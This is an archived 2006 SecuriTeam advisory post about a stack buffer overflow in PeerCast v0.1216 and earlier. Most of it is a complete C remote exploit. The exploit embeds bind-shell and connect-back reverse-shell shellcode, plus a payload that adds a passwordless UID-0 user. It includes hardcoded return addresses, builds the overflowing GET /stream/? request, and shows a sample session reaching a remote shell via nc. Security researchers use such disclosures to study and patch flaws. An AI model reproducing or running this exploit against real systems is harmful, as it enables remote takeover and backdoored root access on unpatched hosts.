

[EXPL] PeerCast Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00041.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 15 Mar 2006 13:03:48 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

PeerCast Buffer Overflow (Exploit)

SUMMARY

<<http://www.peercast.org/>> PeerCast is a simple, free way to listen to radio and watch video on the internet.

A buffer overflow has been identified by INFIGO-2006-03-01 which can be potentially exploited to execute arbitrary code due to insufficient bounds checking on a memory copy operation occurring on the stack.

DETAILS

Vulnerable Systems:

* PeerCast version v0.1216 and prior.

Return address does a "jmp esp" which references the start of our shellcode and as such will work on multiple distributions and VA randomized hosts.

Exploit:

/* GNU PeerCast <= v0.1216 Remote Exploit

* =====

* PeerCast is a simple, free way to listen to radio and watch video on

[EXPL] PeerCast Buffer Overflow (Exploit)

the internet. A

- * remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which
- * can be potentially exploited to execute arbitrary code due to insufficient bounds
- * checking on a memory copy operation occurring on the stack. All versions upto and
- * prior to v0.1216 are believed to be vulnerable. Return address does a "jmp esp" which
- * references the start of our shellcode and as such will work on multiple distributions
- * and VA randomized hosts.
- *

* Example.

```
* matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337
```

```
* [ GNU PeerCast <= v0.1216 remote exploit
```

```
* [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes)
```

```
* [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)'
```

```
* [ Connected to 123.123.123.123 (7144/tcp)
```

```
* [ Sent 883 bytes to target
```

```
* matthew@localhost ~/code/exploits $ nc 123.123.123.123 31337
```

```
* id
```

```
* uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
```

```
*
```

```
* -prdelka
```

```
*/
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#include <arpa/inet.h>
```

```
#include <netdb.h>
```

```
#include <stdio.h>
```

```
#include <unistd.h>
```

```
#include <stdlib.h>
```

```
#include <getopt.h>
```

```
#include <signal.h>
```

```
struct target {
```

```
char* name;
```

```
int retaddr;
```

```
};
```

```
struct shellcode {
```

```
char* name;
```

```
int port;
```

```
int host;
```

```
char* shellcode;
```

```
};
```

[EXPL] PeerCast Buffer Overflow (Exploit)

```
const int targetno = 2;

struct target targets[] = {
{"(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux
3.3.5-r1)",0x080918AF},
{"(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo
3.3.5.20050130-r1)",0x080918AF}
};

const int shellno = 3;

struct shellcode shellcodes[] = {
{"Linux bind() shellcode (4444/tcp default)",20,-1,
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80"}},
{"Linux connect() shellcode (4444/tcp default)",32,26,
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x01\x02\x03\x04\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80"}},
{"Linux add user 'syscfg' with {null} password and UID 0",-1,-1,
"\x31\xC0\x50\x68\x73\x73\x77\x64\x68\x2F\x2F\x70\x61\x68\x2F\x65"
"\x74\x63\x89xE6\x31xD2\x31xC9\xB1\x01\x89\xF3\x31\xC0\xB0\x05"
"\xCD\x80\x50\x89xE6\x31xC0\xB0\x13\x8B\x1E\x31xC9\x31xD2\xB2"
"\x02\xCD\x80\x31xC0\xB0\x04\x8B\x1E\x31xC9\x51\x68\x61\x73\x68"
"\x0A\x68\x69\x6E\x2F\x62\x68\x74\x3A\x2F\x62\x68\x2F\x72\x6F\x6F"
"\x68\x63\x66\x67\x3A\x68\x66\x6F\x72\x20\x68\x73\x65\x72\x20\x68"
"\x65\x6D\x20\x75\x68\x73\x79\x73\x74\x68\x30\x3A\x30\x3A\x68\x66"
"\x67\x3A\x3A\x68\x73\x79\x73\x63\x89xE1\x31xD2\xB2\x30\xCD\x80"
"\x31\xC0\xB0\x06\x8B\x1E\xCD\x80"}
};

void dummyhandler(){
}

int main (int argc, char *argv[]) {
int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144,
ihost = 0, itarg = 0;
int count, offset, ioffset, index = 0;
short shellport;
char *host, *buffer, *buffer2, *payload;
struct sockaddr_in localAddr, servAddr;
struct hostent *h, *rv;
static struct option options[] = {
{"server", 1, 0, 's'},
```

[EXPL] PeerCast Buffer Overflow (Exploit)

```
{ "port", 1, 0, 'p'},
{ "target", 1, 0, 't'},
{ "shellcode", 1, 0, 'c'},
{ "shellport", 1, 0, 'x'},
{ "shellhost", 1, 0, 'i'},
{ "help", 0, 0, 'h'}
};
printf("[ GNU PeerCast <= v0.1216 remote exploit\n");
while(c != -1)
{
c = getopt_long(argc,argv,"s:p:t:c:x:i:h",options,&index);
switch(c) {
case -1:
break;
case 's':
if(ihost==0){
h = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'\n",optarg);
exit(1);
}
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
ihost = 1;
}
break;
case 'p':
port = atoi(optarg);
break;
case 'c':
if(ishell==0)
{
payg = atoi(optarg);
switch(payg){
case 0:
printf("[ Using shellcode '%s' (%d
bytes)\n",shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
payload = malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload, (void*)shellcodes[payg].shellcode,
strlen(shellcodes[payg].shellcode));
ishell = 1;
break;
case 1:
printf("[ Using shellcode '%s' (%d bytes)\n",
shellcodes[payg].name, strlen(shellcodes[payg].shellcode));
payload =
malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload, (void*)shellcodes[payg].shellcode,
strlen(shellcodes[payg].shellcode));
```

[EXPL] PeerCast Buffer Overflow (Exploit)

```
ishell = 1;
break;
case 2:
printf("[ Using shellcode '%s' (%d bytes)\n",
shellcodes[payg].name, strlen(shellcodes[payg].shellcode));
payload =
malloc(strlen(shellcodes[payg].shellcode)+1);
memset(payload,0,
strlen(shellcodes[payg].shellcode)+1);
memcpy((void*)payload, (void*)shellcodes[payg].shellcode,
strlen(shellcodes[payg].shellcode));
ishell = 1;
break;
default:
printf("[ Invalid shellcode selection %d\n",payg);
exit(0);
break;
}
}
break;
case 'x':
if(ishell==1)
{
if(shellcodes[payg].port > -1)
{
paya = strlen(payload);
shellport = atoi(optarg);
shellport =(shellport&0xff)<<8 | shellport>>8;
memcpy(&payload[shellcodes[payg].port],&shellport,sizeof(shellport));
if(paya > strlen(payload))
{
printf("[ Shellcode port introduces null bytes\n");
exit(1);
}
}
else{
printf("[ (%s) port selection is ignored for current
shellcode\n",optarg);
}
}
else{
printf("[ No shellcode selected yet, ignoring (%s) port
selection\n",optarg);
break;
}
break;
case 'i':
if(ishell==1)
{
if(shellcodes[payg].host > -1)
{
```

[EXPL] PeerCast Buffer Overflow (Exploit)

```
paya = strlen(payload);
rv = gethostbyname(optarg);
if(h==NULL){
printf("[ Error unknown host '%s'\n",optarg);
exit(1);
}
memcpy(&payload[shellcodes[payg].host],rv->h_addr_list[0],
rv->h_length);
if(paya > strlen(payload))
{
printf("[ Shellhost introduces null bytes\n");
exit(1);
}
}
else{
printf("[ (%s) shellhost selection is ignored for current
shellcode\n",optarg);
}
}
else{
printf("[ No shellcode selected yet, ignoring (%s) shellhost
selection\n",optarg);
}
break;
case 't':
if(itarg==0){
ret = atoi(optarg);
switch(ret){
case 0:
printf("[ Using target '%s'\n",targets[ret].name);
eip = targets[ret].retaddr;
break;
case 1:
printf("[ Using target '%s'\n",targets[ret].name);
eip = targets[ret].retaddr;
break;
default:
eip = strtoul(optarg,NULL,16);
printf("[ Using return address '0x%x'\n",eip);
break;
}
}
itarg = 1;
}
break;
case 'h':
printf("[ Usage instructions.\n[\n");
printf("[ %s <required> (optional)\n[\n[ --server|-s
<ip/hostname>\n",argv[0]);
printf("[ --port|-p (port)[default 7144]\n[ --shellcode|-c
<shell#>\n");
printf("[ --shellport|-x (port)\n");
```

[EXPL] PeerCast Buffer Overflow (Exploit)

```
printf("[ --shellhost|-i (ip/hostname)\n");
printf("[ --target|-t <target#/0xretaddr>\n\n");
printf("[ Target#\s\n");
for(count = 0;count <= targetno - 1;count++){
printf("[ %d %s 0x%x\n",count,targets[count],targets[count]);
}
printf("\n[ Shellcode#\s\n");
for(count = 0;count <= shellno - 1;count++){
printf("[ %d \"%s\" (length %d
bytes)\n",count,shellcodes[count].name,strlen(shellcodes[count].shellcode));
}
exit(0);
break;
default:
break;
}
}
if(itarg != 1 || ihost != 1 || ishell != 1){
printf("[ Error insufficient arguements, try running '%s
--help\n",argv[0]);
exit(1);
}
signal(SIGPIPE,dummyhandler);
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
h->h_length);
servAddr.sin_port = htons(port);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0) {
printf("[ Cannot open socket\n");
exit(1);
}
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0) {
printf("[ Cannot connect\n");
exit(1);
}
printf("[ Connected to %s (%d/tcp)\n",host,port);
buffer = malloc(2048 + strlen(payload) + sizeof(eip));
memset(buffer,0,2048 + strlen(payload) + sizeof(eip));
strcpy(buffer,"GET /stream/?");
for(count = 0;count <= 779;count++){
strcat(buffer,"A");
}
buffer2 = (char*)((int)buffer + (int)strlen(buffer));
memcpy((void*)buffer2,(void*)&eip,sizeof(eip));
buffer2 = (char*)((int)buffer2 + sizeof(eip));
memcpy((void*)buffer2,(void*)payload,strlen(payload));
strcat(buffer2,"\r\n");
rc = send(sd,buffer,strlen(buffer),0);
printf("[ Sent %d bytes to target\n",rc);
```

}

ADDITIONAL INFORMATION

The original article can be found at:

<<http://prdelka.blackart.org.uk/exploit/prdelka-vs-GNU-peercast.c>>

<http://prdelka.blackart.org.uk/exploit/prdelka-vs-GNU-peercast.c>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.